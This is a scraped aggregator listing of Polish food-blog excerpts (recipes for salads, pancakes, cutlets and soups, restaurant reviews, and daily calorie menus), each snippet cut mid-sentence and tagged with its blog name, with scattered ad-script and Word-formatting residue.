daniach kuchni śródziemnomorskiej, szczególnie w tych, w których główną rolę odgrywają ryby lub owoce morza. Kapary mogą się też świetnie sprawdzić w połączeniu z mięsem drobiowym oraz w wielu sosach czy sałatkach. Możliwości wykorzystania tej przyprawy jest sporo. A dlaczego warto po nią sięgnąć? Wiadomo, że kapary mogą się okazać nie tylko ciekawym, ale i bardzo wartościowym dodatkiem do naszego

ProstePesto.pl
Sałatka z Tuńczykiem Marchewką i Jajkiem 127

uniwersalna, sprawdzi się na rodzinną imprezę, święta, a także jako posiłek do pracy. W tym przypadku cebulę możemy zastąpić szczypiorkiem z wiadomych powodów Składniki: 2 puszki tuńczyka w sosie własnym 4 jajka 3 średniej wielkości marchewki 2 cebule 1 mały majonez sól pieprz (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: Marchewkę gotujemy do miękkości, po czym ścieramy na tarce. Cebulę obieramy i kroimy

Przepiski.pl
Placki z młodej kapusty. Pyszne! 139

każdej strony. Mają być bardzo ładnie zrumienione.  Po usmażeniu odsączamy na papierowym ręczniku. Serwujemy z kwaśną śmietaną i pesto koperkowym, lub innym ulubionym sosem. Gotowe! Smacznego! Po więcej zdjęć zapraszam na Instagram  @lukarzkuchasz

Kuchnia Łukasza
Smażona pierś z kaczki 157

kaczki.  Tak przygotowana,  będzie idealnym daniem niedzielnym w gronie najbliższych. Tu znajdziecie przepis na    kaczka z jabłkami   albo   kaczkę duszoną w sosie własnym Składniki: 2 piersi z kaczki sok z 1/2 pomarańczy  świeżo zmielony pieprz sól Wykonanie: Mięso umyć, osuszyć, naciąć w kratkę skórę. Całą pierś natrzeć solą , pieprzem i i skropić

magiczna kuchnia Kasi
Sałatka ze szpinakiem i truskawkami 132

pół i rozłóż na liściach szpinaku. 3. Orzechy pokrusz i razem z sezamem rozrzuć na sałatkę. 4. Wszystko posyp szczyptą soli. 5. Oliwę i ocet wymieszaj - tak przygotowanym sosem skrop sałatkę. Ja sałatkę podałam z razową grzanką - można zjeść po prostu z kromką chleba, ale ciepła grzanka fajnie chrupie

Z notatnika dietetyka
Subiektywny ranking łebskich restauracji 283

Dorsz z pieca Jak dla mnie absolutny top łebskich restauracji. Wnętrze klimatyczne z kaszubskimi akcentami. Przemiła obsługa. Bardzo ciekawe menu. Dorsz w sosie grzybowym na plackach ziemniaczanych to rewelacja, idealnie … Czytaj dalej Subiektywny ranking łebskich restauracji

czarrna od kuchni
Kotlety mielone 154

większych i 10 mniejszych kotletów, Zazwyczaj robię podwójną porcję, ponieważ moja rodzina oprócz kotletów do obiadu w formie na ciepło często je kotlety mielone na kanapkę z dodatkiem sosu pomidorowego bądź czosnkowego. Mięso jakie wykorzystuje do przygotowania kotletów to zazwyczaj mieszanka szynki wieprzowej z łopatką wieprzową, Miele je za pomocą maszynki do mięsa na średnich oczkach. Jeśli mam możliwość

To Musisz Wiedzieć
Sól selerowa 148

Solą selerową doprawiam także pasztety, pasty do chleba oraz panierki do mięsa i krokietów z mięsem, którym nadaje delikatną ziołową nutę. Możesz ją także stosować do ryb, twarożków i sosów sałatkowych. Domowa sól selerowa składa się tylko z czterech składników - nasion selera, wysuszonych liści i korzenia selera oraz soli, z łatwością więc przygotujesz ją w domu. Jeśli chcesz możesz

Cztery Fajery
Szakszuka z bobem i fasolką 138

jajek. Zielona wersja jest tak samo smaczna i zdrowa, jak oryginał. Czas: 20 minut Poziom trudności : Łatwe Liczba porcji : 2 Oryginalna shakshuka to jajka zatopione i zapieczone w zawiesistym sosie pomidorowym z dodatkiem papryki. Świetnie nadaje się na sycące śniadanie lub lekki lancz. Tu znajdziesz bardzo prosty przepis na to pyszne danie. Nasza zielona szakszuka nawiązuje do oryginału: też

Niedzielny kucharz
Sałatka z bobu i chorizo z pesto 120

niej bób i fasolkę, wymieszaj, dopraw solą i pieprzem. Krok 3 Zrób pesto: włóż do miksera pietruszkę, szczypiorek, parmezan, orzechy, wlej sok z cytryny i olej. Zmiksuj na gładki sos. Pesto możesz zrobić przy pomocy ręcznego robota. Podawaj sałatkę z pesto i grzankami. Smacznego! Zobacz też foodbook na dzień 1600 kcal Artykuł Sałatka z bobu i chorizo z pesto pochodzi

Niedzielny kucharz
Sałatka z Makaronem, Świeżym Ogórkiem i Szynką 271

kosteczkę. Szynkę i ser żółty ścieramy na tarku, Ogórka obieramy i kroimy w kostkę. Mieszamy majonez z jogurtem naturalnym, dodajemy przeciśnięty przez praskę czosnek oraz posiekany szczypiorek. Tak przygotowanym sosem zalewamy resztę składników i dokładnie mieszamy. Doprawiamy pieprzem i solą. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sałatka z Makaronem, Świeżym Ogórkiem i Szynką pochodzi z serwisu Przepiski.pl

Przepiski.pl
Pieczarki faszerowane puree ziemniaczanym z boczkiem i cebulką 147

zainteresować: → Bataty faszerowane soczewicą, pomidorami, jarmużem i fetą → Grillowana bagietka faszerowana pieczarkami i serem lazur → Zupa pieczarkowa ze szpinakiem → Cukinia faszerowana mięsem mielonym i papryką → Bakłażan faszerowany dorszem z sosem pomidorowo – śmietankowym Artykuł Pieczarki faszerowane puree ziemniaczanym z boczkiem i cebulką pochodzi z serwisu Oryginalny smak

Oryginalny smak
Mielone pieczone z boczkiem 163

mielonego, ja wykorzystałam mieloną wołowinę. Jeśli wolisz mielone wieprzowe to użyj wieprzowiny. Ale mielone drobiowe z kurczaka też będą smaczne. Można je dodatkowo podlać słodką śmietaną (utworzy się dodatkowo sos) i posypać posiekaną natką pietruszki . Uwielbiam smażony boczek, jajka sadzone, czy jajecznica bez niego nie smakują już tak doskonale! A Kiełbasa w boczku z grilla jest pyszna. Często chipsy

Damsko-męskie spojrzenie na kuchnię
Sałatka ziemniaczana z pieczarkami do grilla 282

mięs z grilla. Często robię sałatki ziemniaczane, ponieważ cieszą się wielkim powiedzeniem u mnie w domu. Bardzo je lubimy. Tym razem zrobiłam ziemniaki z dodatkiem pieczarek w delikatnym sosie czosnkowym. Mega pyszne połączenie i świetny dodatek do grillowanego mięsiwa. Kiedy smażyłam pieczarki na maśle, to delikatnie … Czytaj dalej Sałatka ziemniaczana z pieczarkami do grilla Artykuł Sałatka ziemniaczana z pieczarkami

Pieprzyć z Fantazją
Wegański burger 148

wegetariańskich, którym brakuje jednak smaku mięsa. Ciut gorzej co prawda z teksturą - jest trochę twardszy i bardziej suchy niż klasyczny burger, jednak jeśli zjecie go z dodatkiem (np. z sosem czy surówką z jogurtem) nie powinno to być żadnym problemem

Z notatnika dietetyka
Chłodnik z awokado i ogórka 185

świat chłodników się nie kończy! Dzisiejszy przepis to moc orzeźwienia w upalne dni. Za każdym razem kiedy go zajadam, to przypominają mi się greckie wakacje, smaki śródziemnomorskie i prawdziwy sos tzatziki. Ten chłodnik właściwie może mieć wiele twarzy, w zależności od tego, z czym go podamy lub jakich ziół użyjemy. Dla mnie jest fantastyczny z pokruszoną fetą, kroplą delikatnej oliwy

Analiza Smaku
Zupa Napoli 207

cukinia ·        Szczypta czosnku ·        Brokuł ·        Sos w proszku fix do spaghetti Napoli ·        Papryka ostra ·        2 kostki rosołowe Sposób przygotowania: 1.    Ziemniaki, Marchew i pietruszkę obieramy, kroimy w kostkę, zalewamy

Kulinarna Chwila
Wegetariańskie burgery z białej fasoli 130

tofu i płatki owsiane, by lepiej się trzymały. Pieczone w piekarniku, więc roboty przy nich jest bardzo mało. Dodatki możecie wybrać własne, ja postawiłam na kiszone ogórki, pomidory i sos musztardowy. Zapraszam po przepis.   Wegetariańskie burgery z białej fasoli Składniki ... Czytaj dalej Wegetariańskie burgery z białej fasoli Artykuł Wegetariańskie burgery z białej fasoli pochodzi z serwisu Pink Envelope

Pink Envelope
Racuchy na zsiadłym mleku 211

Jeśli będą za szybko się rumienić zmniejszamy moc palnika. Racuchy powinny ładnie urosnąć. Odsączamy je z nadmiaru tłuszczu i podajemy i podajemy z ulubionymi dodatkami np. cukrem pudrem lub sosem czekoladowym. Smacznego

Słodkie okruszki
Buraczki do obiadu 192

Składniki: 500 g ugotowanych buraków 1 mała cebula 2-3 ogórki konserwowe sos: 1 łyżka oliwy 1 łyżeczka musztardy 1/2 łyżeczki miodu 2 ząbki czosnku przeciśnięte przez praskę sól, pieprz Przygotowanie: … Czytaj dalej Buraczki do obiadu

czarrna od kuchni
Kasza jęczmienna na sypko 130

żelazo, potas, witaminę K. Polecana jest w diecie dla osób z jelitem drażliwym, przy stanach zapalnych jelita grubego, a także przy walce o obniżenie złego cholesterolu. Jest doskonała do sosów i jako dodatek do zup. Kasza jęczmienna najczęściej gotowana jest w woreczkach, ale po co gotować plastik, skoro można ją ugotować zdrowiej i nie ma w tym nic trudnego, wystarczy

Bułka z Chlebem
Owsianka z truskawkami i sosem jogurtowym 138

lekko przestygła. W misce mieszamy dokładnie jogurt z 1 łyżeczką miodu. Z truskawek odkrajamy szypułki i kroimy je w plastry. Na owsiance układamy plastry truskawek, polewamy sosem jogurtowym i posypujemy musli. Smacznego

Prosto z Kotła
Pasztet pieczony z cukinii i marchewki 181

pasztet z cukinii ,jest genialny,pełen aromatów i smaku.Prosty do zrobienia ,tani ,super sprawdzi się na śniadanie z odrobiną malinowego pomidorka lub na ciepło na lekki obiad z sosem czosnkowym-mniam,-polecam gorąco....i ten zapach który rozchodzi się po domu jak się piecze....zdecydowanie ciężko doczekać ,aż wystygnie ,żeby spróbować

Swojskie jedzonko
Potrawka z kurczakiem, ryżem i warzywami 223

Składniki: 1 filet z kurczaka 1/2 pęczka szparagów 100 g bakłażana kawałek papryki 1/2 marchewki 200 g ugotowanego ryżu czubryca czerwona maggi ocet winny sos chili Przygotowanie: Fileta pokroić w … Czytaj dalej Potrawka z kurczakiem, ryżem i warzywami

czarrna od kuchni
Placki ziemniaczane 127

Placki ziemniaczane to prosta potrawa przygotowana z tartych ziemniaków. Pyszne, chrupiące przez wszystkich znane i lubiane. Można podawać ze śmietaną, sosem, gulaszem albo zajadać w wersji solo. Dla mnie takie bez dodatków są najlepsze!  Składniki: 1 kg ziemniaków 2 jajka 1 cebula 3 ząbki czosnku olej/smalec sól, pieprz Wykonanie: Ziemniaki, obrać, umyć i zetrzeć na tarce na średnich oczkach

magiczna kuchnia Kasi
ZIELONA ZUPA Z RUKOLI Z KONFITOWANYMI POMIDORKAMI KOKTAJLOWYMI 137

smaku, solą i pieprze oraz gałką muszkatołową. Wlej zupę do miseczek lub głębokich talerzy, udekoruj upieczonymi pomidorkami koktajlowymi i listkami rukoli. *gęstej śmietany typu crème fraîche, np śmietana do sosów

Smaki Francji współczesna kuchnia francuska
Żeberka w ketchupie 153

żeberek wieprzowych 2 łyżki ketchupu 1 łyżka oleju rzepakowego 1 łyżeczka mielonej gorczycy 1 łyżeczka mielonej słodkiej papryki 1 łyżka syropu z agawy 1 ząbek czosnku 2 łyżki sosu tamari Przygotowanie: Mięso kroimy w paski. Nakłuwamy.   Pozostałe składniki dokładnie mieszamy (czosnek przeciskamy przez praskę), łączymy z żeberkami. Odstawiamy do lodówki na minimum kilka godzin. Smaki muszą przejść. W wersji

R'n'G Kitchen
Bezglutenowe pancakes z cukinii 155

odżywczych. Jest przy tym bezglutenowe, odpowiednie dla osób na dietach eliminacyjnych i z nietolerancjami. Świetnie sprawdzą się na obiad w towarzystwie surówki albo na lunch czy kolację w towarzystwie sosów , np czosnkowego czy jogurtowego. Pamiętajcie, że sok z cukinii, który odciskamy by uzyskać gęstą masę na pancakes można wykorzystać do gotowania zupy czy ryżu , jest bogaty w składniki odżywcze, szkoda

Dorota Smakuje
Cudowna książka Salt Fat Acid Heat i pesto z bazylii 191

spisują się zamienniki różnego rodzaju. Przy zachowaniu proporcji, które podane są w przepisie wypróbuj innych zielonych liści, innych orzechów lub innego sera. Do czego użyć: z odrobiną wody jako sos do pieczonych warzyw klasycznie jako dodatek do makaronu jako farsz do pieczonego kurczaka Dodatki/zamienniki: zielone warzywa liściaste: jarmuż, pokrzywa, buraki liściowe, rukola, szpinak, młoda botwina, natka pietruszki, mięta orzechy: orzechy

wiecejwarzyw.pl
GULYÁSLEVES – węgierska zupa gulaszowa 108

papryki Przygotowanie: POSIEKAŁEM CEBULĘ, USMAŻYŁEM NA OLEJU, POSYPAŁEM SŁODKĄ PAPRYKĄ, WYMIESZAŁEM. MIĘSO POKROIŁEM W KOSTKĘ, DODAŁEM DO CEBULI, ZWIĘKSZYŁEM PŁOMIEŃ. PRZYPRAWIŁEM SOLĄ I PIEPRZEM, DUSIŁEM POD PRZYKRYCIEM WE WŁASNYM SOSIE ( JEŚLI BĘDZIE KONIECZNE, NALEŻY WLAĆ TROCHĘ WODY ). GDY MIĘSO BYŁO PRAWIE MIĘKKIE, DOLAŁEM TYLE WODY ILE CHCIAŁEM MIEĆ ZUPY, DORZUCIŁEM ZIEMNIAKI POKROJONE W KOSTKĘ, MARCHEWKĘ POKROJONĄ W PLASTERKI ORAZ PIETRUSZKĘ

R'n'G Kitchen
Cukinia panierowana 142

Cukinia panierowana to szybka propozycja na smaczną przekąskę, ale również błyskawiczny obiad. Podaję ją na zimno z sosami bądź na ciepło. W każdej formie smakuje bardzo dobrze. (adsbygoogle = window.adsbygoogle || []).push

Prosty przepis na
Restauracja Świętoszek Tartuffe – pysznie i klimatycznie 161

modrą kapustą, pierożki z cielęciną w truflowej emulsji, żeberka BBQ czy pieczonego łososia w winie chardonnay. Nie mogło zabraknąć oczywiście deseru – delikatnego, puszystego sernika i lodów z ciepłym sosem malinowym. Zresztą zobaczcie sami te wyśmienite potrawy. Krewetka Torcik z buraków Śledź z dębowej beczki Siekany tatar po warszawsku Chłodnik z jajkiem Żur na żytnim zakwasie i wędzonce z jajem

Kulinarnyblog.pl - wiesz jak gotować!
Tosty francuskie z sosem malinowo-arbuzowym / French toast with raspberry-watermelon sauce 164

miodem. Jajko roztrzep w misce i wymieszaj z mlekiem. Na patelni rozpuść masło. Kromki chałki obtaczaj w jajku z mlekiem i smaż z obu stron na rumiano. Podawaj z sosem. Ingredients: (2 portions) 4 thicker slices of Challah 1 egg 1/4 cup of milk 2-3 sprigs of lemon thyme incomplete glass of raspberries incomplete glass of finely chopped watermelon

Delicious Place
Pieczone placki z cukinii 170

pieczenia i łyżką nakładaj porcje ciasta - rozprowadź je delikatnie w kształt okrągłych placuszków. 6. Placki piecz 20-25 minut z włączoną funkcją termoobiegu. Placki warto podać z jakimś sosem, ale wystarczy też po prostu jogurt naturalny - ja sięgnęłam właśnie po jogurt i wyszło super

Z notatnika dietetyka
Siekane kotlety z kurczaka a la pizza 160

kotlety z kurczaka a la pizza z papryką, kukurydzą i serem żółtym są szybkie do zrobienia, delikatne, soczyste i bardzo smaczne. Można je podać na obiad z ryżem, kaszą, sosem czosnkowym oraz ulubioną surówką. Takie kotlety przygotowuję z różnymi dodatkami kiedy nie mam pomysłu na obiad. Zawsze się sprawdzają i wszystkim smakują. https://youtu.be/nkusVcAg9Rs Składniki na siekane kotlety

e-PrzepisyKulinarne
SCHAB Z PIECZARKAMI I CEBULĄ ZAPIEKANY POD SEROWĄ KOŁDERKĄ 147

Mięso schabowe podane w ten sposób zasmakuje każdemu. Plastry schabu, sos ketchupowo- majonezowy, pieczarki, cebulka... a to wszystko zapiekane pod warstwą żółtego sera. Do tego świeże ziemniaczki posypane koperkiem, ulubiona surówka... mniam :) Zapraszam Was na mój kanał na  YouTube , gdzie możecie zobaczyć wykonanie dania -->  kliknij tutaj Zapraszam Was również do obserwowania mojego konta na  Instagramie

Zrób to smacznie
Papryka faszerowana warzywami i kaszą kuskus 147

papryki garść surowej kaszy kuskus 3-4 łyżki passaty pomidorowej kumin ostra papryka cynamon chilli sól szalotka marchew cukinia kilka czarnych oliwek ząbek czosnku mozzarella odrobina tłuszczu DO PODANIA: Sos czosnkowy PRZYGOTOWANIE: Papryki myjemy, wycinamy gniazda nasienne.Marchew, cukinię ścieramy na tarce, na dużych oczkach. Cebulę i czosnek drobno siekamy i przesmażamy na niewielkiej ilości tłuszczu. Kuskus zalewamy wrzątkiem. Na patelnię

Kopystką po garach
Pieczywo chrupkie z suszonymi pomidorami i ziarnami 154

Pieczywo chrupkie może być doskonałą przekąską między posiłkami, może zastąpić tradycyjne pieczywo, być dodatkiem do zup, sosów i sałatek. Nie wszystkie pieczywa chrupkie dostępne w marketach są smaczne, zdrowe, pozbawione dodatkowych, niepotrzebnych i często mało przyjaznych dla naszego zdrowia składników. Spotkałam się też z opinią, że smakują jak tekturka. Chlebek, który dzisiaj prezentuję jest wyjątkowo smaczny, dużo tańszy, zdrowszy

gotuj ze mną
Gołąbki z tuńczykiem 135

zalewą, posiekaną natką i kukurydzą. Wsio mieszamy, do smaku doprawiamy solą i pieprzem. W liście zawijamy farsz, podlewamy bulionem, zapiekamy 90 minut w 180°C. Podajemy z ulubionym sosem. Normal 0 21 false false false MicrosoftInternetExplorer4 st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
Zapiekane faszerowane bataty 227

wypełnij nadzieniem.Wstaw ponownie do piekarnika na około 20 miniut.       Podawaj posypane ulubionnym zielskiem- kolendra u mnie, to chyba oczywiste, a jeżeli lubisz to możesz podać z sosem np. majonezowo-pomidorowym (wrzuce przepis na dniach). Tak upieczone babaty zjadam w całości razem ze skórką, ale dla mojego męża to dziwactwo i barbarzyńsko wydłubuje środek Artykuł Zapiekane faszerowane bataty

greenscarf
Pacakes cereal jak je łatwo i szybko zrobić? 175

razu pomyślałam, że ich pieczenie może  wymagać cierpliwości. A nie każdy ją ma. Znalazłam fajny sposób aby ich pieczenie było łatwe i szybkie. Wykorzystałam dyspenser do zimnych sosów. Wlałam ciasto do butelki i szybkimi ruchami wyciskałam małe pancakesiki. Dyspenser to koszt od 2- 5 złotych. Moje małe naleśniczki są z mąki gryczanej. 1/2 szklanki mąki gryczanej lub dowolnej mleko

AZgotuj!
Klasyczna szakszuka 157

chorizo. Jak kiełbaska będzie podsmażona, dodajemy posiekaną szalotkę i całość razem smażymy ok. 1 minuty. Dodajemy pomidory i przyprawy. Uważam, że całość smaku pomidorów wydobywamy dodatkiem odrobiny cukru. Redukujemy sos pomidorowy i wbijamy na patelnię jajka. Szakszukę smażymy kilka minut, aż białko się nam zetknie, a żółtka pozostaną jeszcze płynne. Na sam koniec wszystko możemy oprószyć świeżo zmielonym pieprzem. Przeczytaj

Kulinarnyblog.pl - wiesz jak gotować!
Karczochy pieczone 109

Karczochy spokrewnione są z ostem. Młode świeże karczochy można jeść na surowo. Starsze – takie kupujemy w sklepach- można gotować, piec, zapiekać faszerowane. Można podawać na zimno lub ciepło z sosami holenderskim, majonezowym, czosnkowym, vinaigrette... Należy kupować ciężkie zwarte główki. W lodówce można je przechowywać kilka dni. Gdy mamy świeże młode karczochy proponuję przygotować karczochy pieczone . 4 karczochy, sól, świeżo zmielony

królestwo garów
Bruschetta z pomidorami i bazylią 152

wymieszać z pomidorami i serem lub po upieczeniu posypać bruschettę świeżymi posiekanymi listkami.   Pomysły na przekąski: ** Jajka z łososiem ** Jajka faszerowane pieczarkami ** Pasta z paluszkami krabowymi ** Ryba w sosie czosnkowym   (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 bagietka 2 średnie pomidory 1 kulka mozzarelli (około 125 g) 3 łyżki oliwy z oliwek bazylia sól i pieprz   Bagietkę pokrój

Kulinarny S.O.S.
Polędwiczki z kurczaka jak z KFC 208

olej, zmniejszamy ogień i smażymy polędwiczki z dwóch stron na rumiano *** *** Po usmażeniu mięso wykładamy na chwilę na ręczniku papierowym w celu odsączenia z nadmiaru tłuszczu *** *** Podajemy z ulubionymi sosami i dodatkami *** *** SMACZNEGO ***       POLECAM TAKŻE: DANIA JEDNOGARNKOWE – POMYSŁY NA SZYBKIE I PYSZNE OBIADY KLIKNIJ TUTAJ PRZEPISY NA SZYBKIE, TANIE I ŁATWE OBIADY KLIKNIJ TUTAJ IMPREZOWE HITY! POMYSŁY

Blog z Apetytem
4x inspiracje lipca: kiełbaski z Dobrej Kalorii, tiramisu, sałatka z botwinką i ratunkowe ciasto czekoladowe 200

fetą i zieloną soczewicą   Świetny sposób, że przerobić nadmiar botwiny. Do sałatki dajemy surową, razem z fetą, ugotowaną zieloną soczewicą, cebulką, pomidorami i prażonymi pestkami słonecznika. Do tego sos winegret. Robiłam na oko. Składniki smaczne, raczej nie wyjdzie źle, jeśli powrzucamy bez określonych miar. Z góry przepraszam za zdjęcie, ale pomyślałam sobie, że jak nie dam, to większe szanse

Qlinarnie i Qlinarnie
Kiełbaski zapiekane w cieście 159

urośnie i będzie rumiane. Gdy kiełbaski zapiekane w cieście będą gotowe wyjąć z piekarnika, na chwilę odstawić, po czym podawać do stołu w naczyniu w którym się piekły z sosem cebulowym i pieczonymi warzywami . Smacznego

Codzienne Gotowanie
Jak urządzić spiżarnię? 157

produktów żywnościowych. Choć nie tylko. Dość często, znajdziemy w niej także inne przedmioty. I tak na półkach spiżarni, znajdziemy jeszcze wszystkie przetwory, które przygotowywane są w sezonie letnim, np.: sosy, dżemy, konfitury, kiszonki, kompoty itp. Co jeszcze? Na przykład zapasy żywności, takie jak: makarony, ryż, cukier, konserwy, napoje. W takiej chłodnej spiżarni dobrze przechowują się też owoce i warzywa

Dajet
Gulasz z batatów 156

równie dobra. Podałem gulasz z batatów w towarzystwie ryżu skropionego sokiem z cytryny, ale świetnie sprawdzą się również chlebki naan . Jeśli lubicie masło orzechowe w wytrawnej odsłonie, to polecam sos orzechowy . Jest rewelacyjny! Artykuł Gulasz z batatów pochodzi z serwisu Blendman.pl - wegańskie przepisy

Blendman
Risotto serowe i brokułem 151

następny dzień zniknął zaraz po przygotowaniu jeszcze wieczorem. Cała duża patelnia. Dlatego musiałam zrobić dokładkę, ale rodzina w domu stwierdziła że to risotto było wyjątkowo pyszne, a serowy sos dzięki gorgonzoli idealny w smaku. Polecam czasami zamiast masła zaostrzyć smak ryżu właśnie serem o wyrazistym smaku. Czytaj więcej

Bernika - moj kulinarny pamietnik
Placki z cukinii i marchewki 156

cukinia. To warzywo, które jest bardzo uniwersalne. Można z niego przygotowywać placki podobne do ziemniaczanych, kotlety à la schabowy i różne pieczenie, czyli tzw. pasztety wegetariańskie. Świetnie zagęszcza różne sosy, więc sprawdza się np. w przygotowaniu domowego keczupu (link do wersji zdrowej i do wersji szybkiej ) czy leczo. Są tacy, którzy wykorzystują te owoce do pieczenia ciast (mnie nie powalają

Weekendy w domu i ogrodzie
Cukinia w cieście – tani przepis 127

Cukinia w cieście – prosty i tani przepis Jeśli lubicie cukinię, zachęcam was do wypróbowania moich przepisów: Płaski chlebek z cukinią i serem sos bologniese z cukinią Cukinia z kiełbasą Sałatka z cukinia i tuńczykiem Cukinia faszerowana mięsem mielonym Fit sałatka z cukinią Ciasto cytrynowe z cukinią Powidła śliwkowe z cukinią Ciasteczka owsiane z cukinią koktajl na bazie jabłka

Dorota Smakuje
PLACKI Z CUKINII Z BOCZKIEM 155

Smaczne placki z cukinii z kawałkami podsmażonego boczku to super pomysł na lekki obiad . Warto do nich zrobić sos czosnkowy bądź pomidorowy,ale ja uwielbiam je bez dodatków. Składniki: ok 1 kg młodej cukinii 15 dag wędzonego boczku 1 cebula 2 jajka 6 łyżek mąki sól,pieprz opcjonalnie ulubione zioła ( u mnie majeranek) Cukinię umyć,obrać. Usunąć środek z nasion

Niespełnione zdolności kulinarne
Jak zrobić idealną bezę? 148

dłużej, tym beza będzie bardziej krucha. Bezę studzić w piekarniku z lekko uchylonymi drzwiczkami.  Po wystudzeniu bezę delikatnie zdjąć z papieru, posmarować kremem oraz udekorować ulubionymi owocami, sosem lub czekoladą. Krem do bezy: Śmietanę ubić z cukrem pudrem, należy uważać, aby nie przebić. Miksować na średniej mocy miksera, gdyż śmietanka może się rozwarstwić. Pod koniec dodawać po łyżce mascarpone

Kuchcik gotuje
Ryba z brokułem zapiekana w mleczku kokosowym 133

letni obiad. To danie o niskim indeksie glikemicznym, zatem idealne dla cukrzyków, zalecane przy insulinooporności i dla wszystkich dbających o linię. Do przygotowanie dania wykorzystałam pstrąga łososiowego, a bazę sosu stanowi mleczko kokosowe

Gotuj zdrowo!Guten Appetit!
DOMOWE ZAPIEKANKI Z BAGIETKI 161

rozgrzanym oleju podsmażamy cebulę, dodajemy czosnek, wędlinę i pieczarki. Całość lekko solimy, pieprzymy, dodajemy słodką paprykę i  smażyć ok. 15 minut.  Przekrojone bagietki smarujemy sosem ketchupem. Na to układamy lekko przestudzony farsz z patelni. Posypujemy startym serem.  Zapiekanki układamy na blaszce wyłożonej papierem do pieczenie i zapiekamy w 180 stopniach do lekkiego zrumienienia brzegów i rozpuszczenia się

Walijskie Pichcenie
Post dr Dąbrowskiej: przepis na pyszne frytki z marchewki plus przepis na wychodzenie z diety 189

kolei posyp każdą z przypraw.  Piecz w 200 stopniach przez 20-30 minut. Czas zależy od efektu jaki chcesz osiągnąć - ja piekę 23 minuty. Jako dip możesz wykorzystać sos pomidorowy, przepis podawałam do pizzy na spodzie kalafiora z postu dr Dąbrowskiej. Wyjąć z piekarnika i jeść póki ciepłe. Smacznego!! Wersja frytek z marchewki na wychodzenie z postu: Do miski

IzaGotuje
Klopsiki w kapuście 1222

klopsiki, całość znów przykrywamy i dusimy około 20 minut *** *** Po tym czasie przygotowujemy zasmażkę. W garnuszku roztapiamy masło i zasmażamy z mąką *** *** Zasmażkę dodajemy na patelnie i mieszamy, aż sos zgęstnieje. Do potrawy dodajemy drobno posiekany koperek *** *** Całość mieszamy i w razie potrzeby doprawiamy do smaku solą i pieprzem *** *** SMACZNEGO ***     POLECAM TAKŻE: DANIA JEDNOGARNKOWE – POMYSŁY NA SZYBKIE

Blog z Apetytem
Pieczone placki z cukinii 252

musimy zachowywać dużych odstępów. Placki z cukinii pieczemy około 20 minut . Po upieczeniu wyjmujemy blaszkę z piekarnika i po ok 5 minutach (gdy stężeją) podajemy je w towarzystwie sosu lub sałatki . Wartości odżywcze w całości w 1 porcji Wartość energetyczna 515 kcal 129 kcal Białko 40 g 10 g Tłuszcze 27 g 7 g Węglowodany netto

WegePrzepis
Foodbook 1800 kalorii 151

podprażyć) lub wstaw do piekarnika rozgrzanego do 175 stopni na 10 minut. Przestudź sezam, przesyp do blendera, dodaj łyżkę oleju i miksuj tak długo, aż powstanie gładki sos, bez ziarenek. Gotowe! Kolacja – jajka ze szparagami (369 kcal) pęczek zielonych szparagów 2 jajka 1 łyżka masła łyżka tartego parmezanu kromka ciemnego chleba szczypiorek do posypania sól pieprz Aby przygotować

Niedzielny kucharz
Foodbook 1600 kcal II 119

podprażyć) lub wstaw do piekarnika rozgrzanego do 175 stopni na 10 minut. Przestudź sezam, przesyp do blendera, dodaj łyżkę oleju i miksuj tak długo, aż powstanie gładki sos, bez ziarenek. Gotowe! Kolacja – jajka ze szparagami (369 kcal) pęczek zielonych szparagów 2 jajka 1 łyżka masła łyżka tartego parmezanu kromka ciemnego chleba szczypiorek do posypania sól pieprz Aby przygotować

Niedzielny kucharz
Słodko-ostre żeberka 264

Składniki: 1 kg żeberek marynata: 1 cebula 3 ząbki czosnku 1/2 papryczki chili 1 liść laurowy 5 ziaren jałowca 5 łyżek sosu słodkie chili 3 łyżki pasty warzywnej pindżur Podravka … Czytaj dalej Słodko-ostre żeberka

czarrna od kuchni
Młody bób w pomidorach 171

trochę pieprzu i wymieszać z posiekaną natką i miętą. Do rozgraniczaj oliwy dodać czosnek, następnie wlać pomidory, paprykę  i dusić ok 5 minut. Dodać suszoną bazylię. Wymieszać. Wylać sos na talerz a na wierzch ułożyć kilka listków bazylii

AZgotuj!
Nadziewane roladki schabowe duszone w kremowym sosie z warzywami 179

Bogate w smaki i bardzo pyszne danie obiadowe. Roladki schabowe nadziewane porem, serem i suszonymi pomidorami duszone w kremowym sosie z warzywami. Do tych roladek polecam młode ziemniaczki i ulubioną surówkę . Nic więcej nie potrzeba. Choć czasochłonne to dla smaku warto. Naprawdę pycha! Składniki na 6-7 porcji: 6-7 grubszych plastrów schabu bez kości 6-7 plastrów sera żółtego

Wanilia i Kardamon
Menu na dzień 1700 kcal 136

podprażyć) lub wstaw do piekarnika rozgrzanego do 175 stopni na 10 minut. Przestudź sezam, przesyp do blendera, dodaj łyżkę oleju i miksuj tak długo, aż powstanie gładki sos, bez ziarenek. Gotowe! Kolacja – jajka ze szparagami (369 kcal) pęczek zielonych szparagów 2 jajka 1 łyżka masła łyżka tartego parmezanu kromka ciemnego chleba szczypiorek do posypania sól pieprz Aby przygotować

Niedzielny kucharz
Chilli z wołowiną 140

Chilli z wołowiną Pikantne i aromatyczne, jednogarnkowe danie meksykańskie z mieloną wołowiną i warzywami, w sosie pomidorowym. Potrawę możemy podać z ryżem, makaronem albo ze świeżym pieczywem. Szybki i przepyszny obiad. Polecam!     SKŁADNIKI : 500 g mielonej wołowiny 1 puszka krojonych pomidorów 1 cebula 2 ząbki czosnku 1 papryka (u mnie pół żółtej i pół czerwonej) 1 papryczka chilli

Blog z Apetytem
Spaghetti w sosie śmietanowym z pesto 123

się zarumieni. Zmniejszamy gaz na minimum, dodajemy śmietanę z pesto - podgrzewamy jeszcze 3 minuty, mieszając do połączenia składników. Dodajemy odcedzony makaron i mieszamy tak, aby połączył się z sosem. Po wierzchu dekorunejmy posiekaną natką pietruszki. Z tego makaronu łatwo można zrobić danie wegetariańskie. Wystarczy pominąć wędlinę, a dla wzbogacenia smaku na talerzy posypać pokrojoną, świeżą mozzarellą lub startym parmezanem. Smacznego

Prosto z Kotła
Białko wegańskie Ritual Vivo Life o smaku ciemnej czekolady – Siła Roślin 120

